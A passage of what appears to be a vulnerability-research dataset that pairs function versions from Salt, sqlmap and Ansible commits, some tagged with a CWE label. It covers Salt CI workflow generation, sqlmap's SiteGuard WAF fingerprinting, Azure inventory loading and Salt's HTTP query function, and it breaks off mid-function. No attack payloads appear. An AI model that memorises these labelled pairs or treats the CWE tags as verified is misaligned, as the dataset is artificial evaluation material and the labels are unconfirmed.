            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64"", ""deb"", ""no-fips""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""aarch64"", ""deb"", ""no-fips""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64"", ""deb"", ""no-fips""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""aarch64"", ""deb"", ""no-fips""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""aarch64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }

    build_ci_deps_listing = {
        ""linux"": [
            (""almalinux-8"", ""Alma Linux 8"", ""x86_64""),
            (""almalinux-8-arm64"", ""Alma Linux 8 Arm64"", ""aarch64""),
            (""almalinux-9"", ""Alma Linux 9"", ""x86_64""),
            (""almalinux-9-arm64"", ""Alma Linux 9 Arm64"", ""aarch64""),
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64""),
            (""amazonlinux-2-arm64"", ""Amazon Linux 2 Arm64"", ""aarch64""),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64""),
            (""amazonlinux-2023-arm64"", ""Amazon Linux 2023 Arm64"", ""aarch64""),
            (""archlinux-lts"", ""Arch Linux LTS"", ""x86_64""),
            (""centos-7"", ""CentOS 7"", ""x86_64""),
            (""centos-7-arm64"", ""CentOS 7 Arm64"", ""aarch64""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64""),
            (""centosstream-8-arm64"", ""CentOS Stream 8 Arm64"", ""aarch64""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64""),
            (""centosstream-9-arm64"", ""CentOS Stream 9 Arm64"", ""aarch64""),
            (""debian-10"", ""Debian 10"", ""x86_64""),
            (""debian-11"", ""Debian 11"", ""x86_64""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""aarch64""),
            (""debian-12"", ""Debian 12"", ""x86_64""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""aarch64""),
            (""fedora-37"", ""Fedora 37"", ""x86_64""),
            (""fedora-37-arm64"", ""Fedora 37 Arm64"", ""aarch64""),
            (""fedora-38"", ""Fedora 38"", ""x86_64""),
            (""fedora-38-arm64"", ""Fedora 38 Arm64"", ""aarch64""),
            (""opensuse-15"", ""Opensuse 15"", ""x86_64""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""aarch64""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""aarch64""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""aarch64""),
            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""aarch64""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""aarch64""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""aarch64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }
    test_salt_pkg_downloads_listing: dict[str, list[tuple[str, str, str]]] = {
        ""linux"": [],
        ""macos"": [],
        ""windows"": [],
    }
    rpm_slugs = [
        ""almalinux"",
        ""amazonlinux"",
        ""centos"",
        ""centosstream"",
        ""fedora"",
        ""photon"",
    ]
    for slug, display_name, arch in build_ci_deps_listing[""linux""]:
        if slug in (""archlinux-lts"", ""opensuse-15""):
            continue
        test_salt_pkg_downloads_listing[""linux""].append((slug, arch, ""package""))
        # Account for old arm64 repo paths
        if arch == ""aarch64"":
            for test_slug in rpm_slugs:
                if slug.startswith(test_slug):
                    test_salt_pkg_downloads_listing[""linux""].append(
                        (slug, ""arm64"", ""package"")
                    )
                    break
    for slug, display_name, arch in build_ci_deps_listing[""linux""][-2:]:
        if slug in (""archlinux-lts"", ""opensuse-15""):
            continue
        test_salt_pkg_downloads_listing[""linux""].append((slug, arch, ""onedir""))
    for slug, display_name, arch in build_ci_deps_listing[""macos""]:
        if arch == ""aarch64"":
            arch = ""arm64""
        test_salt_pkg_downloads_listing[""macos""].append((slug, arch, ""package""))
    for slug, display_name, arch in build_ci_deps_listing[""macos""][-1:]:
        test_salt_pkg_downloads_listing[""macos""].append((slug, arch, ""onedir""))
    for slug, display_name, arch in build_ci_deps_listing[""windows""][-1:]:
        for pkg_type in (""nsis"", ""msi"", ""onedir""):
            test_salt_pkg_downloads_listing[""windows""].append((slug, arch, pkg_type))

    test_salt_pkg_downloads_needs_slugs = set()
    for platform in test_salt_pkg_downloads_listing:
        for slug, _, _ in test_salt_pkg_downloads_listing[platform]:
            test_salt_pkg_downloads_needs_slugs.add(f""{slug.replace('.', '')}-ci-deps"")

    env = Environment(
        block_start_string=""<%"",
        block_end_string=""%>"",
        variable_start_string=""<{"",
        variable_end_string=""}>"",
        extensions=[
            ""jinja2.ext.do"",
        ],
        loader=FileSystemLoader(str(TEMPLATES)),
    )
    for workflow_name, details in workflows.items():
        if TYPE_CHECKING:
            assert isinstance(details, dict)
        template: str = cast(str, details[""template""])
        includes: dict[str, bool] = cast(dict, details.get(""includes"") or {})
        workflow_path = WORKFLOWS / template
        template_path = TEMPLATES / f""{template}.jinja""
        ctx.info(
            f""Generating '{workflow_path.relative_to(tools.utils.REPO_ROOT)}' from ""
            f""template '{template_path.relative_to(tools.utils.REPO_ROOT)}' ...""
        )
        context = {
            ""template"": template_path.relative_to(tools.utils.REPO_ROOT),
            ""workflow_name"": workflow_name,
            ""workflow_slug"": (
                details.get(""slug"") or workflow_name.lower().replace("" "", ""-"")
            ),
            ""includes"": includes,
            ""conclusion_needs"": NeedsTracker(),
            ""test_salt_needs"": NeedsTracker(),
            ""test_salt_pkg_needs"": NeedsTracker(),
            ""test_repo_needs"": NeedsTracker(),
            ""prepare_workflow_needs"": NeedsTracker(),
            ""build_repo_needs"": NeedsTracker(),
            ""test_salt_listing"": test_salt_listing,
            ""test_salt_pkg_listing"": test_salt_pkg_listing,
            ""build_ci_deps_listing"": build_ci_deps_listing,
            ""test_salt_pkg_downloads_listing"": test_salt_pkg_downloads_listing,
            ""test_salt_pkg_downloads_needs_slugs"": sorted(
                test_salt_pkg_downloads_needs_slugs
            ),
        }
        shared_context_file = (
            tools.utils.REPO_ROOT / ""cicd"" / ""shared-gh-workflows-context.yml""
        )
        shared_context = yaml.safe_load(shared_context_file.read_text())
        for key, value in shared_context.items():
            context[key] = value
        loaded_template = env.get_template(template_path.name)
        rendered_template = loaded_template.render(**context)
        workflow_path.write_text(rendered_template.rstrip() + ""\n"")",CWE-703,saltstack/salt,4ff201ac038900322957620270529b09fce0c8e1,"def generate_workflows(ctx: Context):
    """"""
    Generate GitHub Actions Workflows
    """"""
    workflows = {
        ""CI"": {
            ""template"": ""ci.yml"",
        },
        ""Nightly"": {
            ""template"": ""nightly.yml"",
        },
        ""Stage Release"": {
            ""slug"": ""staging"",
            ""template"": ""staging.yml"",
            ""includes"": {
                ""test-pkg-downloads"": True,
            },
        },
        ""Scheduled"": {
            ""template"": ""scheduled.yml"",
        },
        ""Release"": {
            ""template"": ""release.yml"",
            ""includes"": {
                ""pre-commit"": False,
                ""lint"": False,
                ""pkg-tests"": False,
                ""salt-tests"": False,
                ""test-pkg-downloads"": True,
            },
        },
        ""Test Package Downloads"": {
            ""template"": ""test-package-downloads-action.yml"",
        },
    }
    test_salt_listing = {
        ""linux"": [
            (""almalinux-8"", ""Alma Linux 8"", ""x86_64"", ""no-fips""),
            (""almalinux-9"", ""Alma Linux 9"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2-arm64"", ""Amazon Linux 2 Arm64"", ""aarch64"", ""no-fips""),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64"", ""no-fips""),
            (""amazonlinux-2023-arm64"", ""Amazon Linux 2023 Arm64"", ""aarch64"", ""no-fips""),
            (""archlinux-lts"", ""Arch Linux LTS"", ""x86_64"", ""no-fips""),
            (""centos-7"", ""CentOS 7"", ""x86_64"", ""no-fips""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64"", ""no-fips""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64"", ""no-fips""),
            (""debian-10"", ""Debian 10"", ""x86_64"", ""no-fips""),
            (""debian-11"", ""Debian 11"", ""x86_64"", ""no-fips""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""aarch64"", ""no-fips""),
            (""debian-12"", ""Debian 12"", ""x86_64"", ""no-fips""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""aarch64"", ""no-fips""),
            (""fedora-37"", ""Fedora 37"", ""x86_64"", ""no-fips""),
            (""fedora-38"", ""Fedora 38"", ""x86_64"", ""no-fips""),
            (""opensuse-15"", ""Opensuse 15"", ""x86_64"", ""no-fips""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64"", ""no-fips""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""aarch64"", ""no-fips""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64"", ""fips""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""aarch64"", ""fips""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64"", ""fips""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""aarch64"", ""fips""),
            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64"", ""no-fips""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""aarch64"", ""no-fips""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64"", ""no-fips""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""aarch64"", ""no-fips""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""aarch64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }

    test_salt_pkg_listing = {
        ""linux"": [
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""amazonlinux-2-arm64"",
                ""Amazon Linux 2 Arm64"",
                ""aarch64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""amazonlinux-2023-arm64"",
                ""Amazon Linux 2023 Arm64"",
                ""aarch64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""centos-7"", ""CentOS 7"", ""x86_64"", ""rpm"", ""no-fips""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64"", ""rpm"", ""no-fips""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64"", ""rpm"", ""no-fips""),
            (
                ""centosstream-9-arm64"",
                ""CentOS Stream 9 Arm64"",
                ""aarch64"",
                ""rpm"",
                ""no-fips"",
            ),
            (""debian-10"", ""Debian 10"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-11"", ""Debian 11"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""aarch64"", ""deb"", ""no-fips""),
            (""debian-12"", ""Debian 12"", ""x86_64"", ""deb"", ""no-fips""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""aarch64"", ""deb"", ""no-fips""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64"", ""rpm"", ""no-fips""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""aarch64"", ""rpm"", ""no-fips""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64"", ""rpm"", ""fips""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""aarch64"", ""rpm"", ""fips""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64"", ""rpm"", ""fips""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""aarch64"", ""rpm"", ""fips""),
            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64"", ""deb"", ""no-fips""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""aarch64"", ""deb"", ""no-fips""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64"", ""deb"", ""no-fips""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""aarch64"", ""deb"", ""no-fips""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""aarch64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }

    build_ci_deps_listing = {
        ""linux"": [
            (""almalinux-8"", ""Alma Linux 8"", ""x86_64""),
            (""almalinux-8-arm64"", ""Alma Linux 8 Arm64"", ""aarch64""),
            (""almalinux-9"", ""Alma Linux 9"", ""x86_64""),
            (""almalinux-9-arm64"", ""Alma Linux 9 Arm64"", ""aarch64""),
            (""amazonlinux-2"", ""Amazon Linux 2"", ""x86_64""),
            (""amazonlinux-2-arm64"", ""Amazon Linux 2 Arm64"", ""aarch64""),
            (""amazonlinux-2023"", ""Amazon Linux 2023"", ""x86_64""),
            (""amazonlinux-2023-arm64"", ""Amazon Linux 2023 Arm64"", ""aarch64""),
            (""archlinux-lts"", ""Arch Linux LTS"", ""x86_64""),
            (""centos-7"", ""CentOS 7"", ""x86_64""),
            (""centos-7-arm64"", ""CentOS 7 Arm64"", ""aarch64""),
            (""centosstream-8"", ""CentOS Stream 8"", ""x86_64""),
            (""centosstream-8-arm64"", ""CentOS Stream 8 Arm64"", ""aarch64""),
            (""centosstream-9"", ""CentOS Stream 9"", ""x86_64""),
            (""centosstream-9-arm64"", ""CentOS Stream 9 Arm64"", ""aarch64""),
            (""debian-10"", ""Debian 10"", ""x86_64""),
            (""debian-11"", ""Debian 11"", ""x86_64""),
            (""debian-11-arm64"", ""Debian 11 Arm64"", ""aarch64""),
            (""debian-12"", ""Debian 12"", ""x86_64""),
            (""debian-12-arm64"", ""Debian 12 Arm64"", ""aarch64""),
            (""fedora-37"", ""Fedora 37"", ""x86_64""),
            (""fedora-37-arm64"", ""Fedora 37 Arm64"", ""aarch64""),
            (""fedora-38"", ""Fedora 38"", ""x86_64""),
            (""fedora-38-arm64"", ""Fedora 38 Arm64"", ""aarch64""),
            (""opensuse-15"", ""Opensuse 15"", ""x86_64""),
            (""photonos-3"", ""Photon OS 3"", ""x86_64""),
            (""photonos-3-arm64"", ""Photon OS 3 Arm64"", ""aarch64""),
            (""photonos-4"", ""Photon OS 4"", ""x86_64""),
            (""photonos-4-arm64"", ""Photon OS 4 Arm64"", ""aarch64""),
            (""photonos-5"", ""Photon OS 5"", ""x86_64""),
            (""photonos-5-arm64"", ""Photon OS 5 Arm64"", ""aarch64""),
            (""ubuntu-20.04"", ""Ubuntu 20.04"", ""x86_64""),
            (""ubuntu-20.04-arm64"", ""Ubuntu 20.04 Arm64"", ""aarch64""),
            (""ubuntu-22.04"", ""Ubuntu 22.04"", ""x86_64""),
            (""ubuntu-22.04-arm64"", ""Ubuntu 22.04 Arm64"", ""aarch64""),
        ],
        ""macos"": [
            (""macos-12"", ""macOS 12"", ""x86_64""),
            (""macos-13"", ""macOS 13"", ""x86_64""),
            (""macos-13-xlarge"", ""macOS 13 Arm64"", ""aarch64""),
        ],
        ""windows"": [
            (""windows-2016"", ""Windows 2016"", ""amd64""),
            (""windows-2019"", ""Windows 2019"", ""amd64""),
            (""windows-2022"", ""Windows 2022"", ""amd64""),
        ],
    }
    test_salt_pkg_downloads_listing: dict[str, list[tuple[str, str, str]]] = {
        ""linux"": [],
        ""macos"": [],
        ""windows"": [],
    }
    rpm_slugs = [
        ""almalinux"",
        ""amazonlinux"",
        ""centos"",
        ""centosstream"",
        ""fedora"",
        ""photon"",
    ]
    for slug, display_name, arch in build_ci_deps_listing[""linux""]:
        if slug in (""archlinux-lts"", ""opensuse-15""):
            continue
        test_salt_pkg_downloads_listing[""linux""].append((slug, arch, ""package""))
        # Account for old arm64 repo paths
        if arch == ""aarch64"":
            for test_slug in rpm_slugs:
                if slug.startswith(test_slug):
                    test_salt_pkg_downloads_listing[""linux""].append(
                        (slug, ""arm64"", ""package"")
                    )
                    break
    for slug, display_name, arch in build_ci_deps_listing[""linux""][-2:]:
        if slug in (""archlinux-lts"", ""opensuse-15""):
            continue
        test_salt_pkg_downloads_listing[""linux""].append((slug, arch, ""onedir""))
    for slug, display_name, arch in build_ci_deps_listing[""macos""]:
        if arch == ""aarch64"":
            arch = ""arm64""
        test_salt_pkg_downloads_listing[""macos""].append((slug, arch, ""package""))
    for slug, display_name, arch in build_ci_deps_listing[""macos""][-1:]:
        if arch == ""aarch64"":
            arch = ""arm64""
        test_salt_pkg_downloads_listing[""macos""].append((slug, arch, ""onedir""))
    for slug, display_name, arch in build_ci_deps_listing[""windows""][-1:]:
        for pkg_type in (""nsis"", ""msi"", ""onedir""):
            test_salt_pkg_downloads_listing[""windows""].append((slug, arch, pkg_type))

    test_salt_pkg_downloads_needs_slugs = set()
    for platform in test_salt_pkg_downloads_listing:
        for slug, _, _ in test_salt_pkg_downloads_listing[platform]:
            test_salt_pkg_downloads_needs_slugs.add(f""{slug.replace('.', '')}-ci-deps"")

    env = Environment(
        block_start_string=""<%"",
        block_end_string=""%>"",
        variable_start_string=""<{"",
        variable_end_string=""}>"",
        extensions=[
            ""jinja2.ext.do"",
        ],
        loader=FileSystemLoader(str(TEMPLATES)),
    )
    for workflow_name, details in workflows.items():
        if TYPE_CHECKING:
            assert isinstance(details, dict)
        template: str = cast(str, details[""template""])
        includes: dict[str, bool] = cast(dict, details.get(""includes"") or {})
        workflow_path = WORKFLOWS / template
        template_path = TEMPLATES / f""{template}.jinja""
        ctx.info(
            f""Generating '{workflow_path.relative_to(tools.utils.REPO_ROOT)}' from ""
            f""template '{template_path.relative_to(tools.utils.REPO_ROOT)}' ...""
        )
        context = {
            ""template"": template_path.relative_to(tools.utils.REPO_ROOT),
            ""workflow_name"": workflow_name,
            ""workflow_slug"": (
                details.get(""slug"") or workflow_name.lower().replace("" "", ""-"")
            ),
            ""includes"": includes,
            ""conclusion_needs"": NeedsTracker(),
            ""test_salt_needs"": NeedsTracker(),
            ""test_salt_pkg_needs"": NeedsTracker(),
            ""test_repo_needs"": NeedsTracker(),
            ""prepare_workflow_needs"": NeedsTracker(),
            ""build_repo_needs"": NeedsTracker(),
            ""test_salt_listing"": test_salt_listing,
            ""test_salt_pkg_listing"": test_salt_pkg_listing,
            ""build_ci_deps_listing"": build_ci_deps_listing,
            ""test_salt_pkg_downloads_listing"": test_salt_pkg_downloads_listing,
            ""test_salt_pkg_downloads_needs_slugs"": sorted(
                test_salt_pkg_downloads_needs_slugs
            ),
        }
        shared_context_file = (
            tools.utils.REPO_ROOT / ""cicd"" / ""shared-gh-workflows-context.yml""
        )
        shared_context = yaml.safe_load(shared_context_file.read_text())
        for key, value in shared_context.items():
            context[key] = value
        loaded_template = env.get_template(template_path.name)
        rendered_template = loaded_template.render(**context)
        workflow_path.write_text(rendered_template.rstrip() + ""\n"")"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/siteguard.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval |= any(_ in (page or """") for _ in (""Powered by SiteGuard"", ""The server refuse to browse the page""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval = any(_ in (page or """") for _ in (""Powered by SiteGuard"", ""The server refuse to browse the page""))
        if retval:
            break

    return retval"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,contrib/inventory/azure_rm.py,0,"def _load_machines(self, machines):
        for machine in machines:
            id_dict = azure_id_to_dict(machine.id)

            # TODO - The API is returning an ID value containing resource group name in ALL CAPS. If/when it gets
            #       fixed, we should remove the .lower(). Opened Issue
            #       #574: https://github.com/Azure/azure-sdk-for-python/issues/574
            resource_group = id_dict['resourceGroups'].lower()

            if self.group_by_security_group:
                self._get_security_groups(resource_group)

            host_vars = dict(
                ansible_host=None,
                private_ip=None,
                private_ip_alloc_method=None,
                public_ip=None,
                public_ip_name=None,
                public_ip_id=None,
                public_ip_alloc_method=None,
                fqdn=None,
                location=machine.location,
                name=machine.name,
                type=machine.type,
                id=machine.id,
                tags=machine.tags,
                network_interface_id=None,
                network_interface=None,
                resource_group=resource_group,
                mac_address=None,
                plan=(machine.plan.name if machine.plan else None),
                virtual_machine_size=machine.hardware_profile.vm_size,
                computer_name=(machine.os_profile.computer_name if machine.os_profile else None),
                provisioning_state=machine.provisioning_state,
            )

            host_vars['os_disk'] = dict(
                name=machine.storage_profile.os_disk.name,
                operating_system_type=machine.storage_profile.os_disk.os_type.value
            )

            if self.include_powerstate:
                host_vars['powerstate'] = self._get_powerstate(resource_group, machine.name)

            if machine.storage_profile.image_reference:
                host_vars['image'] = dict(
                    offer=machine.storage_profile.image_reference.offer,
                    publisher=machine.storage_profile.image_reference.publisher,
                    sku=machine.storage_profile.image_reference.sku,
                    version=machine.storage_profile.image_reference.version
                )

            # Add windows details
            if machine.os_profile is not None and machine.os_profile.windows_configuration is not None:
                host_vars['ansible_connection'] = 'winrm'
                host_vars['windows_auto_updates_enabled'] = \
                    machine.os_profile.windows_configuration.enable_automatic_updates
                host_vars['windows_timezone'] = machine.os_profile.windows_configuration.time_zone
                host_vars['windows_rm'] = None
                if machine.os_profile.windows_configuration.win_rm is not None:
                    host_vars['windows_rm'] = dict(listeners=None)
                    if machine.os_profile.windows_configuration.win_rm.listeners is not None:
                        host_vars['windows_rm']['listeners'] = []
                        for listener in machine.os_profile.windows_configuration.win_rm.listeners:
                            host_vars['windows_rm']['listeners'].append(dict(protocol=listener.protocol,
                                                                             certificate_url=listener.certificate_url))

            for interface in machine.network_profile.network_interfaces:
                interface_reference = self._parse_ref_id(interface.id)
                network_interface = self._network_client.network_interfaces.get(
                    interface_reference['resourceGroups'],
                    interface_reference['networkInterfaces'])
                if network_interface.primary:
                    if self.group_by_security_group and \
                       self._security_groups[resource_group].get(network_interface.id, None):
                        host_vars['security_group'] = \
                            self._security_groups[resource_group][network_interface.id]['name']
                        host_vars['security_group_id'] = \
                            self._security_groups[resource_group][network_interface.id]['id']
                    host_vars['network_interface'] = network_interface.name
                    host_vars['network_interface_id'] = network_interface.id
                    host_vars['mac_address'] = network_interface.mac_address
                    for ip_config in network_interface.ip_configurations:
                        host_vars['private_ip'] = ip_config.private_ip_address
                        host_vars['private_ip_alloc_method'] = ip_config.private_ip_allocation_method
                        if ip_config.public_ip_address:
                            public_ip_reference = self._parse_ref_id(ip_config.public_ip_address.id)
                            public_ip_address = self._network_client.public_ip_addresses.get(
                                public_ip_reference['resourceGroups'],
                                public_ip_reference['publicIPAddresses'])
                            host_vars['ansible_host'] = public_ip_address.ip_address
                            host_vars['public_ip'] = public_ip_address.ip_address
                            host_vars['public_ip_name'] = public_ip_address.name
                            host_vars['public_ip_alloc_method'] = public_ip_address.public_ip_allocation_method
                            host_vars['public_ip_id'] = public_ip_address.id
                            if public_ip_address.dns_settings:
                                host_vars['fqdn'] = public_ip_address.dns_settings.fqdn

            self._add_host(host_vars)",,ansible/ansible,5b52bfad6dd1f8fd6447557948ca2b42465863cf,"def _load_machines(self, machines):
        for machine in machines:
            id_dict = azure_id_to_dict(machine.id)

            # TODO - The API is returning an ID value containing resource group name in ALL CAPS. If/when it gets
            #       fixed, we should remove the .lower(). Opened Issue
            #       #574: https://github.com/Azure/azure-sdk-for-python/issues/574
            resource_group = id_dict['resourceGroups'].lower()

            if self.group_by_security_group:
                self._get_security_groups(resource_group)

            host_vars = dict(
                ansible_host=None,
                private_ip=None,
                private_ip_alloc_method=None,
                public_ip=None,
                public_ip_name=None,
                public_ip_id=None,
                public_ip_alloc_method=None,
                fqdn=None,
                location=machine.location,
                name=machine.name,
                type=machine.type,
                id=machine.id,
                tags=machine.tags,
                network_interface_id=None,
                network_interface=None,
                resource_group=resource_group,
                mac_address=None,
                plan=(machine.plan.name if machine.plan else None),
                virtual_machine_size=machine.hardware_profile.vm_size,
                computer_name=(machine.os_profile.computer_name if machine.os_profile else None),
                provisioning_state=machine.provisioning_state,
            )

            host_vars['os_disk'] = dict(
                name=machine.storage_profile.os_disk.name,
                operating_system_type=machine.storage_profile.os_disk.os_type.value
            )

            if self.include_powerstate:
                host_vars['powerstate'] = self._get_powerstate(resource_group, machine.name)

            if machine.storage_profile.image_reference:
                host_vars['image'] = dict(
                    offer=machine.storage_profile.image_reference.offer,
                    publisher=machine.storage_profile.image_reference.publisher,
                    sku=machine.storage_profile.image_reference.sku,
                    version=machine.storage_profile.image_reference.version
                )

            # Add windows details
            if machine.os_profile is not None and machine.os_profile.windows_configuration is not None:
                host_vars['windows_auto_updates_enabled'] = \
                    machine.os_profile.windows_configuration.enable_automatic_updates
                host_vars['windows_timezone'] = machine.os_profile.windows_configuration.time_zone
                host_vars['windows_rm'] = None
                if machine.os_profile.windows_configuration.win_rm is not None:
                    host_vars['windows_rm'] = dict(listeners=None)
                    if machine.os_profile.windows_configuration.win_rm.listeners is not None:
                        host_vars['windows_rm']['listeners'] = []
                        for listener in machine.os_profile.windows_configuration.win_rm.listeners:
                            host_vars['windows_rm']['listeners'].append(dict(protocol=listener.protocol,
                                                                             certificate_url=listener.certificate_url))

            for interface in machine.network_profile.network_interfaces:
                interface_reference = self._parse_ref_id(interface.id)
                network_interface = self._network_client.network_interfaces.get(
                    interface_reference['resourceGroups'],
                    interface_reference['networkInterfaces'])
                if network_interface.primary:
                    if self.group_by_security_group and \
                       self._security_groups[resource_group].get(network_interface.id, None):
                        host_vars['security_group'] = \
                            self._security_groups[resource_group][network_interface.id]['name']
                        host_vars['security_group_id'] = \
                            self._security_groups[resource_group][network_interface.id]['id']
                    host_vars['network_interface'] = network_interface.name
                    host_vars['network_interface_id'] = network_interface.id
                    host_vars['mac_address'] = network_interface.mac_address
                    for ip_config in network_interface.ip_configurations:
                        host_vars['private_ip'] = ip_config.private_ip_address
                        host_vars['private_ip_alloc_method'] = ip_config.private_ip_allocation_method
                        if ip_config.public_ip_address:
                            public_ip_reference = self._parse_ref_id(ip_config.public_ip_address.id)
                            public_ip_address = self._network_client.public_ip_addresses.get(
                                public_ip_reference['resourceGroups'],
                                public_ip_reference['publicIPAddresses'])
                            host_vars['ansible_host'] = public_ip_address.ip_address
                            host_vars['public_ip'] = public_ip_address.ip_address
                            host_vars['public_ip_name'] = public_ip_address.name
                            host_vars['public_ip_alloc_method'] = public_ip_address.public_ip_allocation_method
                            host_vars['public_ip_id'] = public_ip_address.id
                            if public_ip_address.dns_settings:
                                host_vars['fqdn'] = public_ip_address.dns_settings.fqdn

            self._add_host(host_vars)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/http.py,0,"def query(
    url,
    method=""GET"",
    params=None,
    data=None,
    data_file=None,
    header_dict=None,
    header_list=None,
    header_file=None,
    username=None,
    password=None,
    auth=None,
    decode=False,
    decode_type=""auto"",
    status=False,
    headers=False,
    text=False,
    cookies=None,
    cookie_jar=None,
    cookie_format=""lwp"",
    persist_session=False,
    session_cookie_jar=None,
    data_render=False,
    data_renderer=None,
    header_render=False,
    header_renderer=None,
    template_dict=None,
    test=False,
    test_url=None,
    node=""minion"",
    port=80,
    opts=None,
    backend=None,
    ca_bundle=None,
    verify_ssl=None,
    cert=None,
    text_out=None,
    headers_out=None,
    decode_out=None,
    stream=False,
    streaming_callback=None,
    header_callback=None,
    handle=False,
    agent=USERAGENT,
    hide_fields=None,
    raise_error=True,
    formdata=False,
    formdata_fieldname=None,
    formdata_filename=None,
    decode_body=True,
    **kwargs
):
    """"""
    Query a resource, and decode the return data
    """"""
    ret = {}

    if opts is None:
        if node == ""master"":
            opts = salt.config.master_config(
                os.path.join(salt.syspaths.CONFIG_DIR, ""master"")
            )
        elif node == ""minion"":
            opts = salt.config.minion_config(
                os.path.join(salt.syspaths.CONFIG_DIR, ""minion"")
            )
        else:
            opts = {}

    if not backend:
        backend = opts.get(""backend"", ""tornado"")

    match = re.match(
        r""https?://((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)($|/)"",
        url,
    )
    if not match:
        salt.utils.network.refresh_dns()

    if backend == ""requests"":
        if HAS_REQUESTS is False:
            ret[""error""] = (
